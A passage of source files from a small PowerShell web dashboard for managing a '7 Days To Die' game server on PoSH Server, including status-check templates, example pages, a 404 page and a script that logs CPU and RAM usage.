<!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <li> <div class="username">Last Updated: 12/19/2017 14:22</div></center> </li> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <!--End Updated Timer--> </ul> </div> <!--================================--> <!--End Navbar Dropdown--> </div> </header> <!--===================================================--> <!--END NAVBAR--> <div class="boxed"> <!--CONTENT CONTAINER--> <!--===================================================--> <div id="content-container"> <!--Page content--> <!--===================================================--> <div id="page-content"> <div class="row"> <div class="col-lg-12"> <iframe src="http://192.168.10.20:8082/static/index.html#tab_map" border=0 width=100% height=810></iframe> </div> </div> </div> <!--===================================================--> <!--End page content--> </div> <!--===================================================--> <!--END CONTENT CONTAINER--> <!--MAIN NAVIGATION--> <!--===================================================--> <nav id="mainnav-container"> <div id="mainnav"> <!--Menu--> <!--================================--> <div id="mainnav-menu-wrap"> <div class="nano"> <div class="nano-content"> <!--Widget--> <!--================================--> <div class="mainnav-widget"> <!-- Show the button on collapsed navigation --> <div class="show-small"> <a href="#" data-toggle="menu-widget" data-target="#demo-wg-server"> <i class="demo-pli-monitor-2"></i> </a> </div> <!-- Hide the content on collapsed navigation --> <div id="demo-wg-server" class="hide-small mainnav-widget-content"> <ul class="list-group"> <li> $( #Determine If Main Server Is Up Or Down If((Get-NetTCPConnection | Where {$_.OwningProcess -eq $((Get-Process | Where {$_.ProcessName -like '7DaysToDieServer'}).ID)} | Where {$_.LocalPort -eq '26900'} | Measure-Object).Count -gt 0) { '<span class="label label-success pull-right">UP</span>' } Else { '<span class="label label-danger pull-right">DOWN</span>' } ) <p>Main Server</p> </li> <li> $( #Determine If Main Server Is Up Or Down If((Get-NetTCPConnection | Where {$_.OwningProcess -eq $((Get-Process | Where {$_.ProcessName -like '7DaysToDieServer'}).ID)} | Where {$_.LocalPort -eq '26901'} | Measure-Object).Count -gt 0) { '<span class="label label-success pull-right">UP</span>' } Else { '<span class="label label-danger pull-right">DOWN</span>' } ) <p>Test Server</p> </li> </ul> </div> </div> <!--================================--> <!--End widget--> <ul id="mainnav-menu" class="list-group"> <!--Category name--> <li class="list-header">Navigation</li> <!--Menu list item--> <li> <a href="index.ps1"> <i class="demo-psi-home"></i> <span class="menu-title"> <strong>Dashboard</strong> </span> </a> </li> <!--Menu list item--> <li class="active-link"> <a href="maps.ps1"> <i class="fa fa-map-o" aria-hidden="true"></i> <span class="menu-title"> <strong>Server Map</strong> </span> </a> </li> <!--Menu list item--> <li> <a href="serverlog.ps1"> <i class="fa fa-file-text-o" aria-hidden="true"></i> <span class="menu-title"> <strong>Server Log Feed</strong> </span> </a> </li> <!--Menu list item--> <li> <a href="controlpanel.ps1"> <i class="fa fa-terminal" aria-hidden="true"></i> <span class="menu-title"> <strong>Control Panel</strong> </span> </a> </li> </ul> </div> </div> </div> <!--================================--> <!--End menu--> </div> </nav> <!--===================================================--> <!--END MAIN NAVIGATION--> </div> <!-- FOOTER --> <!--===================================================--> <footer id="footer"> <!-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --> <!-- Remove the class "show-fixed" and "hide-fixed" to make the content always appears. --> <!-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --> <p class="pad-lft">&#0169; 2017 Sean Davis</p> </footer> <!--===================================================--> <!-- END FOOTER --> <!-- SCROLL PAGE BUTTON --> <!--===================================================--> <button class="scroll-top btn"> <i class="pci-chevron chevron-up"></i> </button> <!--===================================================--> </div> <!--===================================================--> <!-- END OF CONTAINER --> </body> </html> "@
example2.ps1
7DaysToDieManager-1.0.0
# Also you can put your commands before @""@ $(Write-Host Hello World Example2!) @" <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Sample Web Site Template - PoSH Server</title> <meta name="author" content="Your Inspiration Web - Nando [php, xhtml, css], Sara [graphic design]" /> <meta name="keywords" content="single web page, single page website, single page template, single page layout" /> <meta name="description" content="" /> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <!-- [template css] begin --> <link rel="stylesheet" href="css/screen.css" type="text/css" media="screen, projection" /> <link rel="stylesheet" href="css/960.css" type="text/css" media="screen, projection" /> <link rel="stylesheet" href="css/print.css" type="text/css" media="print" /> <!--[if IE]> <link rel="stylesheet" href="css/ie.css" type="text/css" media="screen, projection" /> <![endif]--> <!-- [template css] end --> <!-- [favicon] begin --> <link rel="shortcut icon" type="image/x-icon" href="favicon.ico" /> <link rel="icon" type="image/x-icon" href="favicon.ico" /> <!-- [favicon] end --> <!-- Some hacks for the dreaded IE6 ;) --> <!--[if lt IE 7]> <link rel="stylesheet" href="css/ie6.css" type="text/css" media="screen" /> <script type="text/javascript"> var clear="images/clear.gif"; </script> <script type="text/javascript" src="js/unitpngfix.js"></script> <![endif]--> <script type="text/javascript" src="js/mootools-yui-compressed.js"></script> <script type="text/javascript" src="js/jquery.js"></script> <script type="text/javascript" charset="utf-8">jQuery.noConflict();</script> <!-- START SCROLL --> <script src="js/scroll.js" type="text/javascript"></script> <!-- END SCROLL --> <!-- START CUFON --> <script type="text/javascript" src="js/cufon-yui.js"></script> <script type="text/javascript" src="js/dustismo_400.font.js"></script> <script type="text/javascript"> Cufon.replace('h1,ul#nav,h2,h4', { hover: true, fontFamily: 'dustismo' }); </script> <!-- END CUFON --> <!-- START VALIDATE FORM CONTACT --> <script type="text/javascript" src="js/form-contact-validate.js"></script> <!-- END VALIDATE FORM CONTACT --> </head> <body id="home-page"> <!-- START TOP FADE --> <div class="top-bg">&nbsp;</div> <!-- END TOP FADE --> <!-- START BOTTOM FADE --> <div class="bottom-bg">&nbsp;</div> <!-- END BOTTOM FADE --> <!-- START HEADER --> <div class="container_12"> <!-- START NAVIGATION SECTION --> <div class="grid_3 alpha"> <div class="fixed-column"> <!-- START LOGO --> <a href="index.htm" title="home page"> <img src="images/logo.png" alt="logo" class="logo" /> </a> <!-- END LOGO --> <!-- START NAV --> <ul id="nav"> <li><a href="#home-page" title="Home page">home</a></li> <li><a href="#about-page" title="about">about</a></li> <li><a href="#portfolio-page" title="portfolio">portfolio</a></li> <li><a href="#contact-page" title="contatti">contact</a></li> </ul> <!-- END NAV --> <!-- START FOLLOW ME --> <a href="#" title="follow me on twitter"> <img src="images/follow-me.gif" alt="follow-me" class="follow-me" /> </a> <!-- END FOLLOW ME --> <!-- START SEND ME AN EMAIL --> <a href="mailto:[email protected]" title="Send me an email"> <img src="images/send-mail.gif" alt="send mail" /> </a> <!-- END SEND ME AN EMAIL --> <!-- START ADD ME ON SKYPE --> <a href="#" title="Add me on Skype"> <img src="images/add-on-skype.png" alt="add skype" /> </a> <!-- END ADD ME ON SKYPE --> <!-- DO NOT REMOVE: START CREDITS --> <div class="credits"> <!--<a rel="license" href="http://creativecommons.org/licenses/by/2.5/it/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by/2.5/it/80x15.png" /></a><br /><span xmlns:dc="http://purl.org/dc/elements/1.1/" property="dc:title">Your Inspiration Folio</span> by <a xmlns:cc="http://creativecommons.org/ns#" href="http://www.yourinspirationweb.com" property="cc:attributionName" rel="cc:attributionURL">Your Inspiration Web</a> is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by/2.5/it/">Creative Commons Attribuzione 2.5 Italia License</a>.--> powered by <a href="http://www.yourinspirationweb.com/en/free-website-template-present-your-portfolio-online-in-a-single-webpage/" title="The Community of Inspiration Dedicated to Webdesign"> YIW </a> </div> <!-- END CREDITS --> </div> </div> <!-- END NAVIGATION SECTION --> <div class="grid_9 omega right-column"> <!-- START HOME PAGE --> <div class="home"> <!--<img src="images/text-home.jpg" alt="contenuto-home" />--> <h1> Welcome to <span>PoSH Server!</span> You can use Powershell commands with <span>html</span> codes. Let's get date: <span>$(Get-Date)</span> </h1> <!--<img src="images/arrow-home.png" alt="arrow" class="arrow" />--> </div> <div class="home-bottom-bg"></div> <!-- END HOME PAGE --> <!-- START ABOUT PAGE --> <a id="about-page"></a> <div class="about"> <div class="grid_5 alpha"> <div class="container-about"> <h2>About</h2> <p> In the About page you can insert some information on yourself: title of study, eventual training courses attended, certificates, diplomas. </p> <p> Or you can describe your dreams, your work experiences... in a few words everything that can represent <span>you on the web</span> in a decisive and original way. </p> <p> Insert a small picture or even a <span>cartoon</span> just like the one I have inserted: nowdays illustrations are the trend! </p> </div> </div> <!-- START AVATAR --> <div class="grid_4 omega avatar-image"> <img src="images/avatar.jpg" alt="avatar" class="avatar" /> </div> <!-- END AVATAR --> <div class="clear"></div> </div> <div class="about-bottom-bg"></div> <!-- END ABOUT PAGE --> <!-- START PORTFOLIO PAGE --> <a id="portfolio-page"></a> <div class="portfolio"> <div class="grid_4 alpha"> <div class="container-portfolio"> <h2>Portfolio</h2> </div> </div> <!-- START PORTFOLIO QUOTE --> <div class="grid_4 omega"> <div class="portfolio-quote"> <h4>I hope you like my work and my work speaks for me.</h4> </div> </div> <!-- END PORTFOLIO QUOTE --> <div class="clear"></div> <div class="container-portfolio"> <!-- START THUMB IMAGE --> <div class="photo"> <a href="#project01"> <img src="images/portfolio/003.big.jpg" height="85" width="85" alt="WordPress Theme" /> </a> </div> <div class="photo"> <a href="#project02"> <img src="images/portfolio/001.big.jpg" height="85" width="85" alt="Asilo nido" /> </a> </div> <div class="photo"> <a href="#project03"> <img src="images/portfolio/002.big.jpg" height="85" width="85" alt="One Page Folio" /> </a> </div> <div class="photo"> <a href="#project04"> <img src="images/portfolio/004.big.jpg" height="85" width="85" alt="Eclectic: Premium WordPress Theme" /> </a> </div> <div class="photo"> <a href="#project05"> <img src="images/portfolio/005.big.jpg" height="85" width="85" alt="Gold: Premium WordPress Theme" /> </a> </div> <div class="photo"> <a href="#project06"> <img src="images/portfolio/006.big.jpg" height="85" width="85" alt="" /> </a> </div> <div class="photo"> <a href="#project07"> <img src="images/portfolio/004.big.jpg" height="85" width="85" alt="" /> </a> </div> <div class="photo"> <a href="#project08"> <img src="images/portfolio/003.big.jpg" height="85" width="85" alt="" /> </a> </div> <div class="photo"> <a href="#project09"> <img src="images/portfolio/001.big.jpg" height="85" width="85" alt="" /> </a> </div> <div class="photo"> <a href="#project10"> <img src="images/portfolio/002.big.jpg" height="85" width="85" alt="Asilo nido" /> </a> </div> <div class="clear"></div> <!-- END SMALL IMAGE --> </div> </div> <div class="portfolio-bottom-bg"></div> <!-- END PORTFOLIO PAGE --> <!-- START CONTACT PAGE --> <a id="contact-page"></a> <div class="contact"> <div class="grid_5 alpha"> <div class="container-contact"> <h2>Contact</h2> <div id="log"></div> <form id="contacts" method="post" action="include/inc_sendmail.php"> <fieldset> <input tabindex="1" type="text" id="visitor" name="visitor" value="Name" onfocus="if (this.value=='Name') this.value='';" onblur="if (this.value=='') this.value='Name';" class="text name" /> <br /> <input tabindex="3" type="text" id="visitormail" name="visitormail" value="E-mail" onfocus="if (this.value=='E-mail') this.value='';" onblur="if (this.value=='') this.value='E-mail';" class="text mail" /> <br /> <textarea tabindex="4" id="notes" name="notes" cols="30" rows="3" onfocus="if (this.value=='Message') this.value='';" onblur="if (this.value=='') this.value='Message';" class="text message">Message</textarea> <br /> <input class="button" name="Send" value="Send e-mail" type="submit" /> </fieldset> </form> </div> </div> <div class="grid_4 omega contact-info"> <p class="title">Estimates, questions, information?</p> <p> Not hesitate to contact me.<br/> Send the form or contact me on skype. </p> <img src="images/logo.small.gif" alt="logo" class="contact-logo" /> <h3>YourInspirationFolio</h3> <address>Arlington Road, 988</address> <p class="right"> <span>Tel.</span> 074 5678 678<br/> <span>Fax.</span> 074 5678 678 </p> </div> <div class="clear"></div> </div> <div class="contact-bottom-bg"></div> <!-- END CONTACT PAGE --> </div> <div class="clear"></div> </div> <!--[if IE]> <script type="text/javascript"> Cufon.now(); </script> <![endif]--> </body> </html> "@
notfound.ps1
7DaysToDieManager-1.0.0
# Copyright (C) 2014 Yusuf Ozturk # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # PoSH Server 404 Module if ($Hostname -eq "+") { $HeaderName = "localhost" } else { $HeaderName = $Hostnames[0] } @" <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PoSH Server - 404.0 - Not Found</title> <style type="text/css"> <!-- body{margin:0;font-size:.7em;font-family:Verdana,Arial,Helvetica,sans-serif;background:#CBE1EF;} code{margin:0;color:#006600;font-size:1.1em;font-weight:bold;} .config_source code{font-size:.8em;color:#000000;} pre{margin:0;font-size:1.4em;word-wrap:break-word;} ul,ol{margin:10px 0 10px 40px;} ul.first,ol.first{margin-top:5px;} fieldset{padding:0 15px 10px 15px;} .summary-container fieldset{padding-bottom:5px;margin-top:4px;} legend.no-expand-all{padding:2px 15px 4px 10px;margin:0 0 0 -12px;} legend{color:#333333;padding:4px 15px 4px 10px;margin:4px 0 8px -12px;_margin-top:0px; border-top:1px solid #EDEDED;border-left:1px solid #EDEDED;border-right:1px solid #969696; border-bottom:1px solid #969696;background:#E7ECF0;font-weight:bold;font-size:1em;} a:link,a:visited{color:#007EFF;font-weight:bold;} a:hover{text-decoration:none;} h1{font-size:2.4em;margin:0;color:#FFF;} h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.4em;margin:10px 0 0 0;color:#CC0000;} h4{font-size:1.2em;margin:10px 0 5px 0; }#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS",Verdana,sans-serif; color:#FFF;background-color:#5C87B2; }#content{margin:0 0 0 2%;position:relative;} .summary-container,.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;} .config_source{background:#fff5c4;} .content-container p{margin:0 0 10px 0; }#details-left{width:35%;float:left;margin-right:2%; }#details-right{width:63%;float:left;overflow:hidden; }#server_version{width:96%;_height:1px;min-height:1px;margin:0 0 5px 0;padding:11px 2% 8px 2%;color:#FFFFFF; background-color:#5A7FA5;border-bottom:1px solid #C1CFDD;border-top:1px solid #4A6C8E;font-weight:normal; font-size:1em;color:#FFF;text-align:right; }#server_version p{margin:5px 0;} table{margin:4px 0 4px 0;width:100%;border:none;} td,th{vertical-align:top;padding:3px 0;text-align:left;font-weight:bold;border:none;} th{width:30%;text-align:right;padding-right:2%;font-weight:normal;} thead th{background-color:#ebebeb;width:25%; }#details-right th{width:20%;} table tr.alt td,table tr.alt th{background-color:#ebebeb;} .highlight-code{color:#CC0000;font-weight:bold;font-style:italic;} .clear{clear:both;} .preferred{padding:0 5px 2px 5px;font-weight:normal;background:#006633;color:#FFF;font-size:.8em;} --> </style> </head> <body> <div id="header"><h1>Server Error in Application "$HeaderName"</h1></div> <div id="server_version"><p>PoSH Server Microsoft-HTTPAPI/2.0</p></div> <div id="content"> <div class="content-container"> <fieldset><legend>Error Summary</legend> <h2>HTTP Error 404.0 - Not Found</h2> <h3>The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset> </div> <div class="content-container"> <fieldset><legend>Most likely causes:</legend> <ul> <li>The directory or file specified does not exist on the Web server.</li> <li>The URL contains a typographical error.</li> <li>A custom filter or module, such as URLScan, restricts access to the file.</li> </ul> </fieldset> </div> <div class="content-container"> <fieldset><legend>Things you can try:</legend> <ul> <li>Create the content on the Web server.</li> <li>Review the browser URL.</li> <li>Create a tracing rule to track failed requests for this HTTP status code and see which module is calling SetStatus. For more information about creating a tracing rule for failed requests, click <a href="http://go.microsoft.com/fwlink/?LinkID=66439">here</a>. </li> </ul> </fieldset> </div> <div class="content-container"> <fieldset><legend>Links and More Information</legend> This error means that the file or directory does not exist on the server. Create the file or directory and try the request again. <p><a href="http://go.microsoft.com/fwlink/?LinkID=62293&amp;IIS70Error=404,0,0x80070002,7600">View more information &raquo;</a></p> </fieldset> </div> </div> </body> </html> "@
GetStats.ps1
7DaysToDieManager-1.0.0
Start-transcript C:\Program Files\PoSHServer\jobs\test.txt #Read JSON From File $JSON = Get-Content 'C:\Program Files\PoSHServer\webroot\http\data\uptime.json' | ConvertFrom-JSON #Get A Count And Only Keep The Last 24 - Keeps a 24 Hour By Hour Record $JSON = $JSON | Select -Last 23 #Create New Object From Current Stats $NewStat = New-Object -Type PSObject -Property @{ Date = $(Get-Date -F 'MMM-dd-yyyy HH:mm') CPU = $((Get-WmiObject win32_processor | Measure-Object -property LoadPercentage -Average | Select Average).Average) RAM = $([math]::Round(100 - ($(Get-Ciminstance Win32_OperatingSystem).FreePhysicalMemory / $(Get-Ciminstance Win32_OperatingSystem).TotalVisibleMemorySize)*100,2)) } #Add Object To Array $JSON += $NewStat #Write To File $JSON | ConvertTo-JSON | Out-File 'C:\Program Files\PoSHServer\webroot\http\data\uptime.json' Stop-transcript
example3.ps1
7DaysToDieManager-1.0.0
# You can use ps1 files as templates # Let's import one of them @" $(Write-Host Hello World Example3!) $(. $HomeDirectory\index.ps1) "@
controlpanel.ps1
7DaysToDieManager-1.0.0
@" <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>7 Days To Die - Cindar's World</title> <!--STYLESHEET--> <!--=================================================--> <!--Open Sans Font [ OPTIONAL ]--> <link href='https://fonts.googleapis.com/css?family=Open+Sans:400,300,600,700' rel='stylesheet' type='text/css'> <!--Bootstrap Stylesheet [ REQUIRED ]--> <link href="css/bootstrap.min.css" rel="stylesheet"> <!--Nifty Stylesheet [ REQUIRED ]--> <link href="css/nifty.min.css" rel="stylesheet"> <!--Nifty Premium Icon [ DEMONSTRATION ]--> <link href="css/demo/nifty-demo-icons.min.css" rel="stylesheet"> <!--Demo [ DEMONSTRATION ]--> <link href="css/demo/nifty-demo.min.css" rel="stylesheet"> <!--Morris.js [ OPTIONAL ]--> <link href="plugins/morris-js/morris.min.css" rel="stylesheet"> <!--Magic Checkbox [ OPTIONAL ]--> <link href="plugins/magic-check/css/magic-check.min.css" rel="stylesheet"> <!-- Font Awesome --> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css" rel="stylesheet"> <!--JAVASCRIPT--> <!--=================================================--> <!--Pace - Page Load Progress Par [OPTIONAL]--> <link href="plugins/pace/pace.min.css" rel="stylesheet"> <script src="plugins/pace/pace.min.js"></script> <!--jQuery [ REQUIRED ]--> <script src="js/jquery.min.js"></script> <!--BootstrapJS [ RECOMMENDED ]--> <script src="js/bootstrap.min.js"></script> <!--NiftyJS [ RECOMMENDED ]--> <script src="js/nifty.min.js"></script> <!--=================================================--> <!--Demo script [ DEMONSTRATION ]--> <script src="js/demo/nifty-demo.min.js"></script> <!--Morris.js [ OPTIONAL ]--> <script src="plugins/morris-js/morris.min.js"></script> <script src="plugins/morris-js/raphael-js/raphael.min.js"></script> <!--Sparkline [ OPTIONAL ]--> <script src="plugins/sparkline/jquery.sparkline.min.js"></script> <!--Specify page [ SAMPLE ]--> <script src="js/demo/dashboard.js"></script </head> <!--TIPS--> <!--You may remove all ID or Class names which contain "demo-", they are only used for demonstration. --> <body> <div id="container" class="effect aside-float aside-bright mainnav-lg"> <!--NAVBAR--> <!--===================================================--> <header id="navbar"> <div id="navbar-container" class="boxed"> <!--Brand logo & name--> <!--================================--> <div class="navbar-header"> <a href="index.html" class="navbar-brand"> <img src="img/7dtd_logo.png" class="brand-icon"> <div class="brand-title"> <span class="brand-text">Cindar's World</span> </div> </a> </div> <!--================================--> <!--End brand logo & name--> <!--Navbar Dropdown--> <!--================================--> <div class="navbar-content clearfix"> <ul class="nav navbar-top-links pull-left"> <!--Navigation toggle button--> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <li class="tgl-menu-btn"> <a class="mainnav-toggle" href="#"> <i class="demo-pli-view-list"></i> </a> </li> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <!--End Navigation toogle button--> </ul> <ul class="nav text-center"> <!--Updated Timer--> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <li> <div class="username">Last Updated: 12/19/2017 14:22</div></center> </li> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <!--End Updated Timer--> </ul> </div> <!--================================--> <!--End Navbar Dropdown--> </div> </header> <!--===================================================--> <!--END NAVBAR--> <div class="boxed"> <!--CONTENT CONTAINER--> <!--===================================================--> <div id="content-container"> <!--Page content--> <!--===================================================--> <div id="page-content"> <div class="row"> <div class="col-lg-12"> <iframe src="http://192.168.10.20:8080/" border=0 width=100% height=810></iframe> </div> </div> </div> <!--===================================================--> <!--End page content--> </div> <!--===================================================--> <!--END CONTENT CONTAINER--> <!--MAIN NAVIGATION--> <!--===================================================--> <nav id="mainnav-container"> <div id="mainnav"> <!--Menu--> <!--================================--> <div id="mainnav-menu-wrap"> <div class="nano"> <div class="nano-content"> <!--Widget--> <!--================================--> <div class="mainnav-widget"> <!-- Show the button on collapsed navigation --> <div class="show-small"> <a href="#" data-toggle="menu-widget" data-target="#demo-wg-server"> <i class="demo-pli-monitor-2"></i> </a> </div> <!-- Hide the content on collapsed navigation --> <div id="demo-wg-server" class="hide-small mainnav-widget-content"> <ul class="list-group"> <li> $( #Determine If Main Server Is Up Or Down If((Get-NetTCPConnection | Where {$_.OwningProcess -eq $((Get-Process | Where {$_.ProcessName -like '7DaysToDieServer'}).ID)} | Where {$_.LocalPort -eq '26900'} | Measure-Object).Count -gt 0) { '<span class="label label-success pull-right">UP</span>' } Else { '<span class="label label-danger pull-right">DOWN</span>' } ) <p>Main Server</p> </li> <li> $( #Determine If Main Server Is Up Or Down If((Get-NetTCPConnection | Where {$_.OwningProcess -eq $((Get-Process | Where {$_.ProcessName -like '7DaysToDieServer'}).ID)} | Where {$_.LocalPort -eq '26901'} | Measure-Object).Count -gt 0) { '<span class="label label-success pull-right">UP</span>' } Else { '<span class="label label-danger pull-right">DOWN</span>' } ) <p>Test Server</p> </li> </ul> </div> </div> <!--================================--> <!--End widget--> <ul id="mainnav-menu" class="list-group"> <!--Category name--> <li class="list-header">Navigation</li> <!--Menu list item--> <li> <a href="index.ps1"> <i class="demo-psi-home"></i> <span class="menu-title"> <strong>Dashboard</strong> </span> </a> </li> <!--Menu list item--> <li class="active-link"> <a href="maps.ps1"> <i class="fa fa-map-o" aria-hidden="true"></i> <span class="menu-title"> <strong>Server Map</strong> </span> </a> </li> <!--Menu list item--> <li> <a href="serverlog.ps1"> <i class="fa fa-file-text-o" aria-hidden="true"></i> <span class="menu-title"> <strong>Server Log Feed</strong> </span> </a> </li> <!--Menu list item--> <li> <a href="controlpanel.ps1"> <i class="fa fa-terminal" aria-hidden="true"></i> <span class="menu-title"> <strong>Control Panel</strong> </span> </a> </li> </ul> </div> </div> </div> <!--================================--> <!--End menu--> </div> </nav> <!--===================================================--> <!--END MAIN NAVIGATION--> </div> <!-- FOOTER --> <!--===================================================--> <footer id="footer"> <!-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --> <!-- Remove the class "show-fixed" and "hide-fixed" to make the content always appears. --> <!-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --> <p class="pad-lft">&#0169; 2017 Sean Davis</p> </footer> <!--===================================================--> <!-- END FOOTER --> <!-- SCROLL PAGE BUTTON --> <!--===================================================--> <button class="scroll-top btn"> <i class="pci-chevron chevron-up"></i> </button> <!--===================================================--> </div> <!--===================================================--> <!-- END OF CONTAINER --> </body> </html> "@
example1.ps1
7DaysToDieManager-1.0.0
# In this example, you see how to use Powershell commands # $(PSCommand) should work with html codes @" $(Write-Host Hello World!) <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Sample Web Site Template - PoSH Server</title> <meta name="author" content="Your Inspiration Web - Nando [php, xhtml, css], Sara [graphic design]" /> <meta name="keywords" content="single web page, single page website, single page template, single page layout" /> <meta name="description" content="" /> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <!-- [template css] begin --> <link rel="stylesheet" href="css/screen.css" type="text/css" media="screen, projection" /> <link rel="stylesheet" href="css/960.css" type="text/css" media="screen, projection" /> <link rel="stylesheet" href="css/print.css" type="text/css" media="print" /> <!--[if IE]> <link rel="stylesheet" href="css/ie.css" type="text/css" media="screen, projection" /> <![endif]--> <!-- [template css] end --> <!-- [favicon] begin --> <link rel="shortcut icon" type="image/x-icon" href="favicon.ico" /> <link rel="icon" type="image/x-icon" href="favicon.ico" /> <!-- [favicon] end --> <!-- Some hacks for the dreaded IE6 ;) --> <!--[if lt IE 7]> <link rel="stylesheet" href="css/ie6.css" type="text/css" media="screen" /> <script type="text/javascript"> var clear="images/clear.gif"; </script> <script type="text/javascript" src="js/unitpngfix.js"></script> <![endif]--> <script type="text/javascript" src="js/mootools-yui-compressed.js"></script> <script type="text/javascript" src="js/jquery.js"></script> <script type="text/javascript" charset="utf-8">jQuery.noConflict();</script> <!-- START SCROLL --> <script src="js/scroll.js" type="text/javascript"></script> <!-- END SCROLL --> <!-- START CUFON --> <script type="text/javascript" src="js/cufon-yui.js"></script> <script type="text/javascript" src="js/dustismo_400.font.js"></script> <script type="text/javascript"> Cufon.replace('h1,ul#nav,h2,h4', { hover: true, fontFamily: 'dustismo' }); </script> <!-- END CUFON --> <!-- START VALIDATE FORM CONTACT --> <script type="text/javascript" src="js/form-contact-validate.js"></script> <!-- END VALIDATE FORM CONTACT --> </head> <body id="home-page"> <!-- START TOP FADE --> <div class="top-bg">&nbsp;</div> <!-- END TOP FADE --> <!-- START BOTTOM FADE --> <div class="bottom-bg">&nbsp;</div> <!-- END BOTTOM FADE --> <!-- START HEADER --> <div class="container_12"> <!-- START NAVIGATION SECTION --> <div class="grid_3 alpha"> <div class="fixed-column"> <!-- START LOGO --> <a href="index.htm" title="home page"> <img src="images/logo.png" alt="logo" class="logo" /> </a> <!-- END LOGO --> <!-- START NAV --> <ul id="nav"> <li><a href="#home-page" title="Home page">home</a></li> <li><a href="#about-page" title="about">about</a></li> <li><a href="#portfolio-page" title="portfolio">portfolio</a></li> <li><a href="#contact-page" title="contatti">contact</a></li> </ul> <!-- END NAV --> <!-- START FOLLOW ME --> <a href="#" title="follow me on twitter"> <img src="images/follow-me.gif" alt="follow-me" class="follow-me" /> </a> <!-- END FOLLOW ME --> <!-- START SEND ME AN EMAIL --> <a href="mailto:[email protected]" title="Send me an email"> <img src="images/send-mail.gif" alt="send mail" /> </a> <!-- END SEND ME AN EMAIL --> <!-- START ADD ME ON SKYPE --> <a href="#" title="Add me on Skype"> <img src="images/add-on-skype.png" alt="add skype" /> </a> <!-- END ADD ME ON SKYPE --> <!-- DO NOT REMOVE: START CREDITS --> <div class="credits"> <!--<a rel="license" href="http://creativecommons.org/licenses/by/2.5/it/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by/2.5/it/80x15.png" /></a><br /><span xmlns:dc="http://purl.org/dc/elements/1.1/" property="dc:title">Your Inspiration Folio</span> by <a xmlns:cc="http://creativecommons.org/ns#" href="http://www.yourinspirationweb.com" property="cc:attributionName" rel="cc:attributionURL">Your Inspiration Web</a> is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by/2.5/it/">Creative Commons Attribuzione 2.5 Italia License</a>.--> powered by <a href="http://www.yourinspirationweb.com/en/free-website-template-present-your-portfolio-online-in-a-single-webpage/" title="The Community of Inspiration Dedicated to Webdesign"> YIW </a> </div> <!-- END CREDITS --> </div> </div> <!-- END NAVIGATION SECTION --> <div class="grid_9 omega right-column"> <!-- START HOME PAGE --> <div class="home"> <!--<img src="images/text-home.jpg" alt="contenuto-home" />--> <h1> Welcome to <span>PoSH Server!</span> You can use Powershell commands with <span>html</span> codes. Let's get date: <span>$(Get-Date)</span> </h1> <!--<img src="images/arrow-home.png" alt="arrow" class="arrow" />--> </div> <div class="home-bottom-bg"></div> <!-- END HOME PAGE --> <!-- START ABOUT PAGE --> <a id="about-page"></a> <div class="about"> <div class="grid_5 alpha"> <div class="container-about"> <h2>About</h2> <p> In the About page you can insert some information on yourself: title of study, eventual training courses attended, certificates, diplomas. </p> <p> Or you can describe your dreams, your work experiences... in a few words everything that can represent <span>you on the web</span> in a decisive and original way. </p> <p> Insert a small picture or even a <span>cartoon</span> just like the one I have inserted: nowdays illustrations are the trend! </p> </div> </div> <!-- START AVATAR --> <div class="grid_4 omega avatar-image"> <img src="images/avatar.jpg" alt="avatar" class="avatar" /> </div> 